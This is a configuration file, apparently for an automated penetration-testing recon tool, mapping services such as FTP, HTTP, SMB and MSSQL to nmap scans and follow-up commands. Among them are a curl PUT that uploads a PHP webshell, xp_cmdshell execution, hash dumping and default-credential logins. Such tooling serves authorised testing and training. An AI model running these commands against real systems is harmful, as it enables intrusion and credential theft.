discover.txt

[ftp]  # 20, 21
  nmap-service-names = [
    "ftp",
    "ftp-data"
  ]

  recommendations = [
    # none
  ]

  [ftp.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 <target> -oN <fout>"


[ssh]  # 22
  nmap-service-names = [
    "ssh"
  ]

  recommendations = [
    # none
  ]

  [ssh.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=ssh2-enum-algos,ssh-hostkey,ssh-auth-methods <target> -oN <fout>"


[telnet]  # 23
  nmap-service-names = [
    "telnet"
  ]

  recommendations = [
    "telnet <target> <port>"
  ]

  [telnet.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=telnet-encryption,telnet-ntlm-info <target> -oN <fout>"


[smtp]  # 25
  nmap-service-names = [
    "smtp"
  ]

  recommendations = [
    "telnet <target> <port>"
  ]

  [smtp.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=smtp-ntlm-info,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 <target> -oN <fout>"
    smtpuserenum = "smtp-user-enum -M VRFY -U <userlist> -t <target> 2>&1 | tee <fout>"


[dns]  # 53
  nmap-service-names = [
    "domain"
  ]

  recommendations = [
    "nslookup"
  ]

  [dns.scans]
    dnsrecon = "dnsrecon -t axfr <target> 2>&1 | tee <fout>"
    host = "host -t ns <target> 2>&1 | tee <fout>"
    nmap = "nmap -v -Pn -p <ports> --script=dns-service-discovery,dns-cache-snoop,dns-check-zone,dns-zone-transfer <target> -oN <fout>"


[tftp]  # 69
  nmap-service-names = [
    "tftp"
  ]

  recommendations = [
    "tftp <target>:<port>"
  ]

  [tftp.scans]
    nmap = "nmap -vv -sU -Pn -p <ports> --script=tftp-enum <target> -oN <fout>"


[http]  # 80, 591
  nmap-service-names = [
    "http",
    "http-alt"
  ]

  recommendations = [
    "curl -v -X OPTIONS http://<target>:<port>/<directory>",
    "curl -v -X PUT -d '<?php echo shell_exec($_GET[\"cmd\"]);?>' http://<target>:<port>/<directory>/webshell.php",
    "dirb http://<target>:<port>/",
    "dotdotpwn -m http -h <target> -x <port> -f <pathtoretrieve> -k <keywordthatmustbepresent> -d <depth> -t <millisperrequest> -s",
    "wafw00f http://<target>:/<port>/",
    "nmap -Pn -p <ports> --script http-adobe-coldfusion-apsa1301,http-coldfusion-subzero,http-vuln-cve2009-3960,http-vuln-cve2010-2861 <target> -oN <fout>",
    "wpscan --url http://<target>:<port>/",
    "wpscan --url http://<target>:<port>/ --enumerate vp"
  ]

  [http.scans]
    nikto = "nikto -host <target> -port <ports> 2>&1 | tee <fout>"
    nmap = "nmap -vv -Pn -p <ports> --script=http-vuln* <target> -oN <fout>"
    gobuster = "gobuster -e -w <wordlist> -u http://<target>:<port>/ 2>&1 | tee <fout>"


[kerberos]
  nmap-service-names = [
    "kerberos",
    "kerberos-sec"
  ]

  recommendations = [
    # none
  ]

  [kerberos.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=krb5-enum-users <target> -oN <fout>"


[https]  # 443
  nmap-service-names = [
    "https",
    "ssl/http",
    "ssl/http-alt"
  ]

  recommendations = [
    # none
  ]

  [https.scans]
    nikto = "nikto -host <target> -port <ports> -ssl 2>&1 | tee <fout>"
    nmap = "nmap -vv -Pn -p <ports> --script=ssl-ccs-injection,ssl-cert,ssl-date,ssl-enum-ciphers,ssl-heartbleed,ssl-known-key,ssl-poodle <target> -oN <fout>"
    gobuster = "gobuster -e -w <wordlist> -u https://<target>:<port>/ 2>&1 | tee <fout>"


[pop3]  # 110
  nmap-service-names = [
    "pop3"
  ]

  recommendations = [
    "telnet <target> <port>"
  ]

  [pop3.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=pop3-capabilities,pop3-ntlm-info <target> -oN <fout>"


[smb]  # 139, 445
  nmap-service-names = [
    "microsoft-ds",
    "netbios-ssn"
  ]

  recommendations = [
    "nmap -vv -sU --script=nbstat -p <ports> <target>",
    "crackmapexec smb <target> -u <user> -p <pass> --spider C\\$ --pattern <pattern>",
    "crackmapexec smb <target> -u '' -p ''",
    "crackmapexec smb <target> -u '' -p '' --local-auth",
    "smbclient -L <target>",
    "smbclient \\\\<target>\\<share>"
  ]

  [smb.scans]
    "nmap.tcp" = "nmap -vv -Pn -p <ports> --script smb-vuln* <target> -oN <fout>"
    enum4linux = "enum4linux -a <target> 2>&1 | tee <fout>"


[imap]  # 143, 220, 585, 993
  nmap-service-names = [
    "imap",
    "imap3",
    "imap4-ssl",
    "imaps"
  ]

  recommendations = [
    "telnet <target> <port>"
  ]

  [imap.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=imap-capabilities,imap-ntlm-info <target> -oN <fout>"


[msrpc]
  nmap-service-names = [
    "epmap",
    "msrpc",
    "rpcbind",
    "sunrpc",
    "erpc"
  ]

  recommendations = [
    "rpcclient -U '' <target>",
    "rpcinfo -p <target>",
    "showmount -e <target>"
  ]

  [msrpc.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=msrpc-enum <target> -oN <fout>"


[snmp]  # 161
  nmap-service-names = [
    "snmp"
  ]

  recommendations = [
    # none
  ]

  [snmp.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=snmp-netstat,snmp-processes <target> -oN <fout>"
    onesixtyone = "onesixtyone <target> 2>&1 | tee <fout>"
    snmpwalk = "snmpwalk -c public -v1 <target> 2>&1 | tee <fout>"


[ldap]  # 389
  nmap-service-names = [
    "ldap"
  ]

  recommendations = [
    # none
  ]

  [ldap.scans]
    enum4linux = "enum4linux -l <target> 2>&1 | tee <fout>"


[cups]
  nmap-service-names = [
    "ipp"
  ]

  recommendations = [
    # none
  ]

  [cups.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=cups-info,cups-queue-info <target> -oN <fout>"


[rmi]  # 1033
  nmap-service-names = [
    "java-rmi",
    "rmiregistry"
  ]

  recommendations = [
    # none
  ]

  [rmi.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=rmi-vuln-classloader,rmi-dumpregistry <target> -oN <fout>"


[mssql]  # 1433, 1434
  nmap-service-names = [
    "ms-sql",
    "ms-sql-s"
  ]

  recommendations = [
    "nmap -vv -Pn -p <port> --script=ms-sql-dump-hashes --script-args='mssql.username=<user>,mssql.password=<password>,mssql.instance-port=<port>' <target>",
    "nmap -vv -Pn -p <port> --script ms-sql-xp-cmdshell --script-args='mssql.username=<user>,mssql.password=<password>,mssql.instance-port=<port>,ms-sql-xp-cmdshell.cmd=\"<cmd>\"' <target>",
    "sqsh -S <target>:<port> -U <user>"
  ]

  [mssql.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=ms-sql-config,ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info,ms-sql-ntlm-info,ms-sql-tables <target> -oN <fout>"


[oracle]  # 1521
  nmap-service-names = [
    "oracle",
    "oracle-tns"
  ]

  recommendations = [
    # none
  ]

  [oracle.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=oracle-enum-users,oracle-tns-version <target> -oN <fout>"


[mysql]  # 3306
  nmap-service-names = [
    "mysql"
  ]

  recommendations = [
    "mysql -u root -proot <target>"
  ]

  [mysql.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=mysql-variables,mysql-vuln-cve2012-2122,mysql-info,mysql-users,mysql-enum,mysql-databases,mysql-dump-hashes <target> -oN <fout>"


[remotedesktop]  # 3389
  nmap-service-names = [
    "ms-wbt-server",
    "msrdp"
  ]

  recommendations = [
    "rdesktop -u Administrator -p administrator <target>:<port>"
  ]

  [remotedesktop.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=rdp-enum-encryption,rdp-vuln-ms12-020 <target> -oN <fout>"


[vnc]
  nmap-service-names = [
    "vnc"
  ]

  recommendations = [
    # none
  ]

  [vnc.scans]
    nmap = "nmap -vv -Pn -p <ports> --script=vnc-info,vnc-title <target> -oN <fout>"